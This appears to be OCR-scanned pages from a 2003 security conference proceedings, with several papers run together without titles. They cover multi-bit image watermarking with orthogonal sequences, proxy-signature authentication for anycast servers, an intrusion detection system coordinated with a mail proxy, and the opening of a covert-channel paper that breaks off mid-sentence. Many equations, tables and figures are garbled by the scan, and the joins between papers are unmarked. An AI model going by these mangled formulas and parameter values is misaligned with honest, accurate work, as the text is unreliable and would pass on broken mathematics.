luminance [13]. Some other algorithms employ masking effects in spatial and/or fre-
quency domains when inserting watermarks [9,14,15].

Robustness of multi-bit watermarking schemes based on adding PN sequences
against different attacks has been studied [16]. However it is rather difficult for these
methods to provide a high embedding capacity since the sequences must be long
enough to ensure sufficient robustness. In view of this, other methods that are not

V. Gorodetsky et al. (Eds.): MMM-ACNS 2003, LNCS 2776, pp. 407-418, 2003.
© Springer-Verlag Berlin Heidelberg 2003
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based on addition, such as quantization watermarking [17,18], different energy wa-
termarking (DEW) [19] and non-additive watermarking [20], have emerged.

The reason that embedding capacity of schemes using addition of PN sequences is
low is that the information carrying capability of each sequence has not been fully
exploited. In this regard, we propose an improved multi-bit scheme using a set of
orthogonal binary sequences, leading to significant improvements in performance.
This technique can be incorporated into various public-watermarking frameworks
based upon addition of binary sequences and developed for various digital media
including images and audio signals.

The paper is organized as follows. Section II analytically discusses performances
of multi-bit watermarking schemes based on addition of PN sequences and using a
one-bit-per-sequence strategy. Section III proposes a novel scheme using orthogonal
sequences to achieve increased capacity. In Section IV, performance of the new
method is studied, and simulation results presented. Section V concludes the paper.

2 Multi-bit Watermarking Based
on One-Bit-per-Sequence Scheme

Multi-bit watermarking using a one-bit-per-sequence scheme is a straightforward
extension of the single-bit methods. A single-bit method adds a PN sequence as a
watermark into host data. Cross-correlation between the received data and the known
watermark is computed in detection. If the correlation is greater than a predefined
threshold, the received data is judged as marked, otherwise not-marked.

Suppose that I is the host data. S is a PN sequence of length N whose elements are
either +1 or —1. The embedding scheme can be expressed as:

r(jpH=I1(j)+a Sy, j=0,1,...,N-1, (1)

where I’ is the watermarked signal, and ¢ the strength of the mark. Modifying the
watermark amplitude according to the host data, or introducing characteristics of the
human perseptual system, H, to improve imperceptibility, Equation (1) is modified as

rG)y=1()+a|H)|SO), j=01,...,N~1, )

where H is related to perceptual models and may be a function of frequencies and
spatial/temporal properties. In the presence of additive interference (channel noise or
hostile attack), the received signal becomes

I"(H=rG)+N3) - 3)

In this study, the host data are pre-processed in some way before embedding in or-
der to achieve spectrum equalization, that is, to make each coefficient possess a uni-
form energy statistically. For example, shuffling the host data pseudo-randomly prior
to transform can remove correlation between adjacent samples [21,22]. Therefore, the
coefficients in the transform domain are i.i.d. Gaussian with a zero mean and an iden-
tical standard deviation o, With spectrum equalization, Equation (1), instead of (2),
can be used to simplify analysis, and make it possible to directly study the relation
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between the watermarking performance and the host data energy. In addition, since
watermarked data may be subjected to channel noise or undergo compression coding,
spectrum equalization provides advantages that the additive interference can be con-
sidered as white Gaussian noise.

Similar to the single-bit scheme, multi-bit watermarking uses more than one PN
sequence, each representing one bit in the watermark. To be embedded into N coeffi-
cients in the host, a meaningful watermark is first converted into an L.-bit binary array
W, each bit taking +1 or —1. In most cases, N is significantly greater than L, therefore
L, nearly independent PN sequences, each N bits long, can be found:

N-1
(S,.8,)=28,()S,(N=0, uy=01... . L-Tiu=v. 4)

j=0
Multiplied by W(i), these sequences are superimposed to produce the embedded mark:

L-1
=1+ a,W@)Ss,, (5)

k=0

where ¢ is the strength of watermarking based on single-bit-per-sequence scheme. In
watermark extraction, cross-correlation is calculated:

13 ) (6)
pi—ﬁjg‘ol (NS ().

The mutual influence tamongst different watermark bits is considered negligible due
to the approximate independence between the PN sequences as shown in Equation
(4).

By introducing spectral equalization, any additive interference can be modeled by a
zero mean i.i.d. Gaussian process with standard deviation o,. According to the central
limit theorem, the output of the cross-correlation satisfies Gaussian distribution:

o +0y
p. ~N| W) a, % , (7)

)

where W(i) is either +1 or —1. Thus, a decision criterion is obtained, and the embed-
ded watermark bits can be extracted:

o p2
W= (8)
The error probability in extracting each bit is:

N

2

BER, =1-®| o -
O} +0y

€))

If all transforms used in this scheme are orthogonal, the watermark energy in the
transform domain is equal to that in the time/space domain,
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Ego =L Nt (10)

The parameters Eg, ., BER, and L can be used to represent imperceptibility, robust-
ness, and embedding capacity, respectively. It is obvious from Equations (9) and (10)
that there are conflicts between these basic specifications. With the same values of o,
and o, any improvement in one of the three specifications can only be made at some
cost of the other two.

It is clear that simply extending a single-bit scheme by superposition of mutually
independent sequences to achieve multi-bit embedding is not satisfactory because of
the direct conflicts between the three basic specifications. Achieving a higher capacity
by using a one-bit-per-sequence scheme implies increasing the total watermark en-
ergy therefore inevitably sacrificing the robustness and imperceptibility. The problem
is that every PN sequence is only mapped to a single bit in the watermark, and the
information carrying capacity is not fully exploited. In order to resolve this problem, a
novel scheme is introduced in the next section.

3 Multi-bit Watermarking with Addition
of Orthogonal Sequences

3.1 Embedding Procedure

The key to the proposed approach is a mapping between a set of orthogonal sequences
and groups of bits in the embedded data so that each sequence can carry more than
one bit. The embedding procedure is as follows.

1) Assume that there are N coefficients in the host signal available to modification
for watermark hiding. Thus, a total of N orthogonal sequences, Hadamard codes for
example, with a length of N bits and element values of either +1 or —1 can be found.

ii) Divide the N binary sequences into R = N /M subsets denoted S, S, ... , S,-,,
where M = 2". Each subset contains M sequences: {S,,, S, ..., S, .}, {8, S, -ov
S].M_l}’ et {SR_].O’ SR_l,l’ et SR_].M_]}'

iii) Convert a meaningful watermark into binary, and expand the binary sequence
by padding zeros to yield an array of length L, = 2 mR. Truncate the binary sequence
if the length is greater than L.

iv) Segment the L, bit binary sequence into 2R sections of length m. The m-bit bi-
nary numbers in these sections may be referenced to in decimal, denoted W = { W(0),
w(l), ..., WQ2R-1)}.

v) Divide W into two halves: W, = {W(0), W(1), ... , W(R-1)}, and W, = {W(R),
W(R+1), ..., W(2R-1)}, and map the M possible values in each pair, W(i) and W(i+R)
from the two halves respectively, to the M sequences in the subset of the same index i.

vi) Add the sequences in S, corresponding to W(i), i =0, 1, ... , R—1, to the host
data, and subtract the sequences in S, corresponding to W(i+R), i = 0, 1, ... , R-1,
from the host data, respectively.

The arrangements of the watermark-carrying sequences and the watermark bits,
and the mapping between them are illustrated in Figure 1. In this way, each sequence
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carries m watermark bits, and all together L,, bits carried by 2R orthogonal sequences
are embedded. Note that W(i) and W(i+R) are independently embedded if they are
different. Otherwise, instead of subtracting S, ... S, yir. 15 added to the host data
where operation +1 in the subscripts are modulo-R. The watermark to be embedded is

now given in the following expression:

§ {s,.’wm =S, Wik W) #W(i+R)

= . ) . 11
S.wo TSiwon W@ =W(@i+R) (an
S S S
A‘) A‘ K Mark-carrying sequences:
s N 7 N —A— N sequences in R subsets.
Each subset contains M
000 00 ® © © 000 sequences of N bits.

FOOo ol HHo oD @ @@ 0OO0..0 Watermark: L, bits in

W(0) w(1) W(R-1) 2R sections. Each sec-
WilOoodl HOOoold ®@ @ @ [0..0O tion contains m bits.
W(R) W(1+R) W(Q2R-1)

Fig. 1. Embedding scheme: Organization of watermark-carrying sequences and watermark bits,
and the mapping

Finally, the watermarked data are obtained:

R-1,
I'=I+ay, XS, , (12)

i=0

where ¢, is the watermarking strength, which is different from o

3.2 Watermark Extraction

Cross-correlations between the received data and the known sequences S, S, ...,
and S,,,, respectively, are calculated. If positive and negative peaks occur when cor-
related respectively with, say, S, and S,,, and the magnitude of correlation with S, is
no less than that both with S ,,, and with S,,_,, a decision can be made that W(i) is A,
and W(i+R) is B. Otherwise, W(i+R) = A if the magnitude of correlation with S, is
greater than that with S_,_, and W(i+R) = A-1 if the reverse is true.

In this way, the entire watermark can be extracted from the received data. Figure 2
shows the correlation outputs between a subset of 128 orthogonal sequences and a
simulated received data. Two distinct peaks, one positive and the other negative, are
present. These 7 bit binary codes can represent any characters drawn from the 128
alphanumeric-character set. In this example, the extracted ASCII characters are ‘c’
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and °5°, corresponding to W(i)=99 and W(i+R)=53, respectively. Additive white
Gaussian noise has been added to the data with SNR = 30 dB. There is considerable
undulation in the correlation output because of the effects of the host data as well as
the noise. In this example the noise interference has not destroyed the watermark
detection, meaning that the method has certain noise resisting capability.

10

0 20 40 60 80 100 120 140

Fig. 2. Cross-correlation between a set of 128 sequences and received data. The data are con-
taminated by noise with SNR=30dB. The positive and negative peaks show that the two em-
bedded characters are ‘c’ and ‘5’

4 Performance Analysis

Suppose that g, is the cross-correlation between the detected data and S Ac-

cording to the central limit theorem,

1= , , o +oy
Powo) =an [I”(J)So,w<0)(1)]~ N| oy, — | (13)
p

)

0,W(0)*

while the cross-correlations between the detected data and other sequences in S, are

2 2
O, +0
Pooner ~ N 04/—‘ N | (14)

Thus, the probability density function of (0, ¢, = Pyome) 1S

20, +0y0)

N 15)

(lOO,W ) pO,mher )~ N aM ’

Therefore, the probability of p, ,,, being greater than one p, .. can be obtained:
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N
p [(po,W(()) ~ Poother )> 0]= q’{aM]/m ] (16)

In extraction, W(0) will be judged correctly if p, ,,, is greater than all p, ... Because
the probability given by Equation (16) is very close to 1 and the effect of embedding
W(R) on p,, can be neglected, the probability of p,,,, being greater than all p, .
approximately equals

N
P =1-M1-® — |-
0 { {aM 20, +0'N2)}} a7

Here the situation W(0)=W(R) has been ignored as the probability of its happening
is rather small. If the decision made for W(0) is in error, the average number of bits in
error is m/2 as W(0) contains m mark bits. Therefore, the bit error rate in extraction of

W(0) is
M N
BER,, =—<1-® _ 7.
M 2 { laM 2(0_12+O'N2):|} (1%

This is a general expression for the BER in extraction of any W(i) and W(i+R).
Similar to the method based on addition of ordinary PN sequences, the energy in
the embedded watermark is

1
Eyma =2RN :ZLM Nay’. (19)

5  Experimental Results and Performance Studies

As a multi-bit embedding scheme, the technique introduced in this paper can be used
in conjunction with various public watermarking frameworks, irrespective of the
types of digital media such as image, audio, and video. Also, it is not restricted to any
specific operating domain (whether time/space or transform domain), transform used
and embedding locations chosen. In our performance study, nonetheless, experiments
were carried out on still images using a DCT technique to embed watermark into a
middle band in the transform domain.

5.1 Description of the Experiment

A 256x256 test image Lena was segmented into 32x32=1024 blocks, each sized 8x8.
Two-dimensional DCT was then performed on the blocks resulting in a total of 64
data groups, each sized 32x32 and composed of coefficients taken from one of 64
positions in all 1024 blocks. The coefficients in these groups were shuffled pseudo-
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randomly prior to a second-layer DCT. The purpose of data shuffling, as stated above,
was to remove correlation between coefficients and make the second-layer DCT coef-
ficients in each group to possess a uniform expected energy, that is, to achieve spec-
tral equalization. Incidentally, the particular mapping corresponding to the shuffling
may be used as part of the key for prevention of unauthorized watermark extraction.

As a result of data shuffling, the second-layer DCT coefficients, except the DC
component, within each group are i.i.d. Gaussian with a zero mean and a standard
deviation associated to the rank of the group inherited from the index of the first layer
DCT. This was confirmed by a y test with a level of significance 0.10. In Table I,
standard deviation values of the spectrum-equalized second-layer DCT coefficients of
the test image corresponding to the eight diagonal indices are listed.

Table 1. Standard deviation of the spectrum-equalized second-layer DCT coefficients of Lena
at diagonal frequency locations

Data group index Ly 22 (33 @b G5 66 (77 (383
o 368.9 57.0 25.4 14.2 10.2 6.4 4.6 4.3

1

It is clear from the preceding analysis that the watermark performance is closely
related to the choice of several parameters including N, M, and ¢. It is also related to
the amplitude of host data and noise.

In the experiments, N = 1024. Coefficients of group (4,4) were chosen as the host
data for embedding, with o, =14.23. Let M = 128 so that 7 bits were carried by each
orthogonal sequence, which can represent one character. Thus, a total of 16 alphanu-
meric characters were embedded into the host image.

5.2 Performance Comparison

In the experiments, the peak-signal-to-watermark power ratio (PSWR) was used to
describe invisibility, while the character-extraction error rate (CER) under the attack
of AWGN at PSNR=30 dB was used to represent robustness. From Equation (9), CER
of the single-bit-per-sequence scheme is given by

2

CER, = m BER = m|1-®| o, Lz , (20)
O; +0y

while CER of the proposed method can be obtained from Equation (17):

N
CER, =M{1-®|a, |— |l 21
{ {a 2<aIZ+GNZ>H e

PSWR can be calculated by the following equation:

c,’S
PSWR =101log,, ——, (22)

mark
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where o, is the magnitude of peak signal and S is the size of host data. In the experi-
ment, 0, =255 and S =256x256.

With the same amount of data embedded, robustness and imperceptibility were ef-
fectively increased by using the proposed approach compared to the original method
as shown in Fig.3 where the embedded data are 16 alphanumeric characters.

Alternatively, with the same robustness and imperceptibility, a larger embedding
capacity can be achieved by using the proposed method. If robustness and impercep-
tibility of the original scheme are kept at the same level as shown by the solid line in
Figure 3, both the numbers of bits and characters embedded using the old method can
be calculated. The results are listed in Table 2, from which one can see that the new
method provides a higher embedding capacity.

25

Character-extraction error rate (%)

0
44.5 45 455 46 46.5
Peak-signal-to-watermark power ratio (dB)

Fig. 3. Comparison of robustness and imperceptibility using original (dashed line) and pro-
posed (solid line) approaches with 16 alphanumeric characters embedded

Table 2. Embedding capacities with different imperceptibility and robustness

CER (%) 2.50 1.11 0.46 0.16 0.045 0.011 0.0037
PSWR (dB) 46.0 45.5 45.0 44.5 44.0 43.5 43.0
Proposed
method
Number of P 16 16 16 16 16 16 16
(K
embedded —
characters Original
method 8 7 7 6 6 5 5
(Ky)
K=K, /K, 2.00 2.29 2.29 2.67 2.67 3.20 3.20

5.3 Simulation Results

A low rate of character extraction error is required in practical applications. In the
experiment, oy = 2.72 was used to give a CER = 1.0% under AGWN interference at
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PSNR = 30 dB. In this case PSWR = 45.46dB, obtained from Figure 3. This was in
good agreement with simulation results.

Three common types of attack were tested in the experiment. They were low-pass
filtering, noise interference, and JPEG compression.

Table 3 gives character-extraction error rates at different noise levels. In the ex-
periment, 50 tests were carried out with a total of 800 embedded characters to produce
the statistical results. The experimental results are in line with the theoretical calcula-
tion based on Equations (21), as shown in Figure 4.

Table 3. Character-extraction error rate at different noise levels

PSNR (dB) 28 30 32 34 36
Character-extraction error rate (%) 2.62 1.13 0.75 0.50 0.38

Character-extraction error rate (%)

PSNR caused by noise (dB)

Fig. 4. Character-extraction error rate: theoretical calculation (solid line) and simulation results
(asterisks)

Blurring was implemented using a 3x3 Gaussian convolution mask. The strength
of attack was characterized by the standard deviation o. Table 4 shows the simulation
results. Table 5 gives the character-extraction errors after JPEG compression. As
expected, the measured error rates increased with increase of the strength of attacks.

Table 4. Character-extraction error rate after low-pass filtering

Standard deviation of Gaussian mask (o) 0.7 0.6 0.5 0.4 0.3

Peak signal-to-distortion ratio (dB) 31.7 334 36.9 45.0 65.2
Character-extraction error rate (%) 2.88 1.25 0.75 0.25 0.13

Table 5. Character-extraction error rate after JPEG compression

Quality factor (Q) 40 50 60 70 80
Compression ratio 9.82 8.60 7.61 6.45 5.16
Character-extraction error rate (%) 3.62 1.87 1.00 0.63 0.37
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6 Conclusion

In this paper, embedding schemes based upon addition of binary sequences and suit-
able for use in public watermarking frameworks are studied. It has been shown that
some previous multi-bit embedding techniques are merely a simple extension of sin-
gle-bit methods, in which each PN sequence only carries one bit of the watermark. In
other words, these multi-bit watermarking schemes still use a one-bit-per-sequence
technique. By introducing a set of orthogonal binary sequences, and by mapping more
that one bit in the watermark to each of these sequences, an increase in the perform-
ance is achieved.

The major difference between the two approaches is that, in the proposed method,
the information carrying capacity of each sequence is effectively exploited. Therefore,
by using the new method, the robustness and imperceptibility are improved, or a net
increase in embedding capacity is achieved without sacrificing the other basic specifi-
cations. This has been confirmed in the experiments. The proposed embedding
scheme is applicable to various watermarking frameworks, regardless of the type of
host media, specific working domain and embedding strategy. Further improvement
in performances may be obtained through a combination of different measures,
among which incorporation of human perceptual system characteristics is the most
important. This, however, can only be done individually for specific digital media and
for the specific watermarking technique used.
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Abstract. Anycast is a communication mode in which the same address
is assigned to a group of servers and a request sent for a service is routed
to the “best” server. The measure of best could be the number of hops,
available bandwidth, load of the server, or any other measure. With
this scenario, any host could advertise itself as anycast server in order
to launch denial-of-service attack or provide false information. In this
paper, we solve this problem by proposing an authentication scheme for
anycast communication.

Keywords: Anycast, authentication, proxy signature.

1 Introduction

The Internet is increasingly being viewed as providing services, and not just con-
nectivity. As this view became more prevalent, the important considerations in
the provision of such services is reliability and availability of the services to meet
the demands of a large number of users; this is often referred to as scalability of
the service. There are many approaches for improving the scalability of a service,
but the common one is to replicate the servers. Server replication is the key ap-
proach for maintaining user-perceived quality of service within a geographically
wide-spread network. This is empowered by the underlining network infrastruc-
ture known as anycast communication. The anycasting communication paradigm
is designed to support server replication by allowing applications to easily select
and communicate with the best server, according to some performance policy
criteria, in a group of content-equivalent servers.

With regard to the above description of anycast communication, the system
has the potential for a number of security threats. In general, there are at least
two security issues in anycasting, which are mainly related to authentication.
First, it is clear that malevolent hosts could volunteer to serve an anycast address
and divert anycast datagrams from legitimate servers to themselves. Second,
eavesdropping hosts could reply to anycast queries with inaccurate information.
Since there is no way to verify membership in an anycast address, there is no
way to detect that the eavesdropping host is not serving the anycast address to
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which the original query was sent. In both scenarios, the security requirement is
anycast server authenticity.

In this paper, we consider the problem of authentication in anycast commu-
nication, and we propose an authentication solution which is closely related to
the concept of prozry signatures. In the next section, we review related work in
the area of proxy signatures, and then we describe the anycast model. Next, we
describe the proposed scheme and discuss the security and complexity of the
scheme.

2 Related Work

Delegation of rights is a common practice in the real world. A manager of an
institution may delegate to one of his deputies the capability to sign on behalf
of the institution while he is on holiday. For electronic transactions, a similar
approach is needed to delegate the manager’s digital signature to the deputy.

Proxy signature is a signature scheme where an original signer delegates
his/her signing capability to a proxy signer, and then the proxy signer creates
a signature on behalf of the original signer. When a receiver verifies a proxy
signature, he verifies both the signature itself and the original signer’s delegation.
Mambo, Usuda and Okamoto (MUO) [6] were the first to introduce the concept
of proxy signature. They gave various constructions of proxy signature schemes
and their security analysis. Interested readers may refer to [6] for details.

Lee et al. [B] noticed that MUO does not satisfy the strong undeniability
property, i.e. a proxy signer can repudiate the fact that he has created the signa-
ture. Based on this weakness, they classified proxy signature schemes into strong
and weak ones according to undeniability property. In our solution, described
in the next section, we will apply a strong scheme from [9]. It is a variant of
the ElGamal-type digital signature (as described in [7]), which was obtained by
improving the scheme from [6].

The signature scenario may be described as follows. Let p, ¢ be large primes
such that ¢ divides (p—1) and let g € Z,, = GF(p). Let Ml be the set of messages
(not necessary of uniform length) and H : Ml — Z,, be a hash function.

Initialization (signer)

1. Chooses the secret key = € Z,,

2. Computes the key y = ¢* (modp) and makes it public.
(Thus p, q,g, H and y are public.)

To sign a message M

Signer Verifier
1. Computes m = H(M). 1. Computes m = H(M).
2. Chooses a random k. 2. Computes [ = g°y"r (mod p).

3. Computes 7 = mg~* (modp) 3. Accepts (M, s,r) if m = L.
4. Computes s = k — rz (mod q).
5. Sends (M, s,r) to the verifier.
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3 Anycast Scenario and Model

Anycast addressing has become a part of the IPv6 new generation internet pro-
tocol ([2]). In anycast communication, a common IP address (anycast address)
is used to define a group of servers that provide the same service. A client sender
desiring to communicate with only one of the servers sends datagrams with the
IP anycast address. The datagram is routed using an anycast-enabled router to
the best server of the group. The best server is elected based on a criterion such
as minimum number of hops, more available bandwidth, least load on the server,
and others. Anycasting considerably simplifies the task of finding an appropriate
server. Users, instead of manually consulting a list of servers and choosing the
best one, can be connected to the best server automatically. The client does not
care which of the servers is assigned to him for the communication. In fact, vari-
ous servers may participate in the different parts of one communication session.

Thus, the model for anycast communication consists of a group of anycast
servers A1, As,..., A,, and a client C. We assume that the communication
from the servers to the client is based on the authentication of the servers by a
suitable signature scheme. We introduce an authentication scheme based on an
additional agent called a group coordinator G. The group coordinator is the
main player in the setting and is used to prevent malicious hosts from pretending
that they are the anycast group members. The group coordinator is considered
to have the signature rights for the whole anycast group. She delegates her rights
to all servers in the group.

The communication in the model consists of two phases:

1. Initialization. The communication of each server with the group coordinator.
A signature delegation algorithm is used in this communication. Each server
starts playing the role of the coordinator’s proxy.

2. The actual serving. The anycast server uses the delegated signature, together
with the proof of his delegation.

It is worth mentioning that the concept of anycasting is in a way related to
multicasting. While multicasting involves building and maintaining a distribu-
tion tree from a single server to multiple clients, anycasting involves the concept
of redirecting the client to multiple content servers.

4 The Scheme

In our anycast scheme, the group coordinator G will play the role of the signer,
which delegates his signature rights to all the members of the anycast group.
His public key y will be the public key of the whole group of anycast servers.
For this delegation, we propose using the nonrepudiable proxy signature scheme
from [9] based on the scheme from [6].

Assume a group of anycast servers Ay, A, ..., A,,aclient C, and a group
coordinator G. Let p,q be large primes such that ¢ divides (p — 1) and let
g € Z, = GF(p). Let M be the set of messages (not necessary of uniform length)
and H : M — Z, be a hash function. At the initialization stage, the scheme
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setup the protocol off-line, interactive and in secure-way then the actual serving
works on-line.

U W N~

5

. Computes r = mg~
. Computes s = k — rz; (modgq). 4. Accepts the signature if h = I.
. Sends (M, s,r,t;) to the client.

Initialization

Coordinator Server A;
. Chooses the secret key = € Z,, 3. Repeatedly selects a random

and computes the public key value o; € Z, until the value

y = g* (modp). The key y ti = g“'u; (modp) belongs to Z7,

is the identifier of the group. then he sends ¢; to the coordinator.
. chooses, for each 1 <i <n, 5. Computes z; = v; + a; (mod q)

a random value z; € Zg, and checks the equality

computes u; = g% (mod p) and g% = ylit; (modp).

sends wu;to the i-th server. If the equality holds, he accepts x;

. Computes v; = t;x + z; (mod q) and  as its secret key.

sends this value to the ¢-th server.

Actual serving

Signing a message M Verification of (M,s,r,t;)
Server A; Client
. Computes m = H(M). 1. Fetches the key y from the registry.
. Chooses a random k. 2. Computes h = H(M).
k

(modp). 3. Computes | = ¢g*(y'it;)"r(mod p).

Security and Computational Analysis

Since our anycast scheme is an applicatiom of a signature delegation scheme, it
basically inherits the security properties of the original signature scheme ([7])
and of the signature delegation scheme ([9],[0]):

Identifiability. The group coordinator can determine the identity of an any-
cast server A; from the value ¢; being a part of the server’s signature.
Nonrepudiability. The server A; cannot deny that either he (or someone to
whom he revealed his secret) is the author of the signature, since the value
s is based on the value z; known only to A;. Everyone (in particular, the
client) can verify his authorship using his public key. The cooperation of
the coordinator is necessary to identify the signature author, based on the
value t;. To create a valid signature s which is verifiable using the value ¢;,
knowledge of z; is necessary.

Anycast server’s deviation. Only the group coordinator can authorize a new
anycast server. An existing anycast server cannot do the same, since knowl-
edge of the secret key x is necessary to create a secret key for a new server.
Finding a suitable value of ¢; to be used in the above verification algorithm
is as difficult as finding the value of z, and basically requires solving the
discrete logarithm problem.
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The difficulty of forging server’s signatures (even by the group coordinator or
another server) follows from the properties of the underlying signature scheme,
and it can be reduced to the difficulty of solving the discrete logarithm problem
(see [6] and [9] for a more detailed discussion). An attack with the aim of reveal-
ing the secret key x by contacting multiple (or all) servers of the anycast group
does not give a greater chance to succeed than getting multiple signatures from
a single proxy in the underlying signature delegation scheme and, consequently,
than the same attack on the original signature scheme. This follows from the fact
that distinct random values are used to generate the secret keys x; for distinct
anycast servers. For the same reason, an effort by one or more anycast servers
to find z using their secret keys x; does not have a greater chance than a similar
attack by a single proxy in the original signature delegation scheme.

Considering the computational complexity, the initialization phase requires,
besides several multiplications, at least five exponentiation modp to create a
secret key for one server. However, this is done just once, and thus this part
of the computational complexity need not be of great concern. Signing of a
message by a server requires one exponentiation and verification by the client
three exponentiations. However, in the frequent case where a single server sends
several messages to the same client, the value y%t; can be kept in the client’s
memory and need not be computed repeatedly.
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Abstract. In this paper we present an adaptive detection and coordi-
nation system which consists of anomaly and misuse detector combined
by lightweight neural networks to synchronize with specific data control
of proxy server.The proposed method is able to correct false positive of
anomaly detector for the unusual changes in the segment monitored by
the subsequent misuse detector. The orthogonal outputs of these two
detectors can be applied for the switching condition between the pa-
rameter settings and the protective data modification of proxy. In the
unseen attacks our model detects, the forwarding delay time set in the
proxy server according to the detection intervals enable us to protect the
system faster and prevent effectively the malicious code from spreading.

1 Introduction

1.1 Repressing the Unseen Incidents

Almost current in-service IDS (intrusion detection system) is using signature-
based detection methods that collate patterns in packet data, and comparing
the patterns to dataset of signatures afforded manually by experts. Signature,
ruleset and profile of the system need to be maintained and monitored carefully
in order to find unlabeled attacks while keeping low false positive rate, Besides, to
take some countermesures against attacks properly, administrators is required to
work out the responses according to alerts promptly. The thrust of this paper is
to present the adaptive coordination of proxy using automated updating profiles
and application data control.

1.2 Tradeoffs between Clustering and Classification

There are two major data mining techniques applied for intrusion detection,
clustering or classification. Clustering is the automated, unsupervised process
that allows one to group together data into similar characteristics. Classification
is the method to learn to assign data to predefined classes. These two methods
are applied for two detection styles, AID (anomaly intrusion detection) and
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MID (misuse intrusion detection). Anomaly detection uses clustering algorithms
because the behavior to find is unlabeled, with no external information sources.
Misuse detection uses classification algorithm because the activity to analyze
requires that detector know how classes are defined.

There are some tradeoffs about the accuracy and range of detection between
clustering and classification. Classification methods deal with predefined data,
so it is able to detect weaker signal and figure out accurate recognition. But
in some cases, it may be biased by incorrect data to train and it is not able
to detect new type of attacks in the sense that the attack does not belong to
any category defined before. On the other hand, clustering is not distorted by
previous knowledge, but therefore needs stronger signal to discovery. At the same
time it can deal with unlabeled attacks because the training doesn’t specify what
the detection system is trying to find while clustering go too far to perceive the
activity that is not caused by security incident.

2 Two-Stage Incident Detection

Generally, classification is applied for misuse detection which deal with labeled
data to train. In this paper we apply classification method for both normal and
attack case. As we mentioned before, classification rely on predefined data, so it
is able to process weaker signal and figure out accurate recognition not to alert.
The main purpose of classification of our model is not rather to detect misuse
than to drop the unusual change into normal classes in order to prevent IDS
from calling the false positive alert.

clustering classification

A\ | > @
o SMNADOB
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data[i] []]
S

G
Y
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misuse dataset[k] [h]

Fig. 1. In classification process, misuse dataset is added to profile dataset in order to
generate double-layer signature matrix.
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3 References

Anomaly detection to model normal behavior is implemented in the statistical
techniques [I][2]. Misuse detection to discover exploitation that is recognized by
a specific pattern or sequence of the events data observed is also performed in
the expert systems[3]. In [4][5], discussion is mainly based on how to classify the
predefined data.

4 Experimental Result and Adaptive Proxy Operation

4.1 Experimental Result

Experiments in the case where the false positive is frequently caused show that
the proposed method is functional with a recognition rate of attack less than
10%, while finding the unusual status. And also the result obtained from the
experiments turned out that our system can update profiles when anomaly de-
tector calls an alert and supress the alert of it next time when the same kind of
events occur.

4.2 Adaptive Proxy Operation

In proposed method, application gateway generates delay time to synchronize
with IDS. The amount of time between receiving request and sending data in
proxy server should be set same as the unit interval of intrusion detection.

[AIDJ (MID]
traffic
Ce[e
processor

parameter settings

SMTP
server

_— proxy l O

mail traffic

data modification

Fig. 2. Adaptive coordination. Forwarding delay time in application gateway is syn-
chronized to detection intervals.

Consequently we can take more specific inspection or control of forwarding
data according to the output of IDS. And also it is possible to execute adaptive
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operation by the parameter settings of SMTP transactions according to the
current status of network.

5 Conclusion

In this paper, we have proposed an intrusion detection system with two-stage
orthogonal method to address the conventional tradeoffs between clustering for
AID and classification for MID. The advantages pointed out in our discussion
are as follows:

— Adjustment function of classification using double-layer signature matrix
offers the ability to keep the rate of AID false positive reasonably low while
detecting numerous unlabeled attacks.

— The reduction of false positive of AID enables the output of detectors to be
applied for switching condition between parameter reconfiguring and protec-
tive data modification of proxy.

— In the unseen attacks our model detects, the forwarding delay time set in
the proxy server synchronized to the detection intervals makes it possible
to recover the system faster and prevent effectively the malicious code from
spreading.

It is expected that the adaptive coordination and automated updating profiles
is useful to reduce the burden of current security administration.
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Abstract. The purpose of this work is the demonstration of an adversary intru-
sion into protected computing system, when the covert channels are poorly
taken into account. We consider an opportunity of overcoming the protection
mechanisms placed between a protected segment of a local area network and a
global network (for example, Internet). We discuss the ability for a warden to
reveal the covert channels. The work is supported with the grant RFBR # 01-
01-00895.

1 Introduction

This work is the demonstration of an adversary intrusion into protected computing
system, when the covert channels are poorly taken into account [2, 4]. We construct
an attack with overcoming of the protection mechanisms placed between a protected
segment of a local area network and a global network (for example, Internet).

The problem of usage of the packets parameters for construction covert channels
was discussed in many works. All such channels can be destroyed. The usage of
addresses for subliminal transmission was mentioned in [3]. But in [3] was discussed
only the capacity of the subliminal channels. This is the paper where problems of
overcoming of security mechanisms constructed against covert channels are dis-
cussed.

The rest of the paper is organized as follows. In Section 2 we introduce a commu-
nication model and the languages for construction of covert channels. Section 3 pre-
sents the properties of the constructed covert channels.

2  Models and Constructions of Covert Channel

Let us consider m+1 segments of local computer networks S, S; ...,S,, . These seg-
ments consist of workstations (hosts) with the local addresses in each of them and
there are gateways connecting local area networks with a global network (for exam-
ple, Internet). Let sy, s, ..., 5, be addresses of gateways of networks S,
S1,...8,, » which represent these segments in a global network. For dialogue between

hosts in different segments, there is a virtual private network (VPN). If the packet
from a workstation with the address x in a segment S; should be transferred to a
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workstation with the address y in a segment S ; then it is transferred in the following

way: 1) at first the packet is transmitted to the host PC(i,1) from the host with the
address x in the segment S ; ; 2) further the packet is transferred to the protection de-
vice PD(i), in which the whole packet is enciphered and encapsulated in another

packet (packets) with the sender address s; and the destination address s ;, after that

we consider that the packets have an identical length and that other packet format
parameters, but addresses cannot be used for construction of any covert channel;
3) the new packet from PD(i) is transferred to the host PC(i,2) of a global network,
which sends it through a global network to the similar host PC(j,2); 4) further the
packet is transferred to the protection device PD(j), where it is restored as the initial
packet which the source address x and the destination address y and is sent to PC(j,1);
5) PC(j,1) sends the packet to the host with destination address y in the segment S ;.

There are hardware/software adversary agents in a global network and in each
segment Sy, Sy,...,5,,. Each adversary agent in a segment needs the instructions

from the adversary in the global network. Let’s consider, that the adversary in the
global network completely supervises computers PC(j,2), j=0, 1, ..., m. The adver-
sary hardware/software agents inside segments S, Sy,...,5,, supervise computers

PC(j,1),j =0, 1, ..., m. The protection devices are made correctly, so that no adver-
sary can supervise them. Thus, the communication of the hardware/software agent in
any of the segments with the adversary in the global network depends on the possibil-
ity of construction of the communication channel from PC(j,2) to PC(j,1). All hosts in
any segment do not know the addresses s, s, ..., 5,,. Also any of the hosts in a

global network (in particular, all hosts PC(j,2), j =0, 1, ..., m) does not know internal
addresses in segments. The encryption occur in the protection device, the adversary
cannot construct the channel of interaction with the hardware/software agent in a
segment using cipher text or service attributes of packets. Thus, we assume, that
unique dependent parameters, known for PC(j,2) and PC(j,1) in an entrance flow of
packets, are the source addresses, and in a target flow — destination addresses. This
dependence is expressed as function s = f (x), which maps the set of internal addresses
of each segment on the external address s of the appropriate gateway. The total num-

ber of possible addresses in § = §1U...US ,, is equal M.

Let us construct examples of languages for communication from the adversary
hardware/software agent in PC(0,2) to the adversary hardware/software agent in
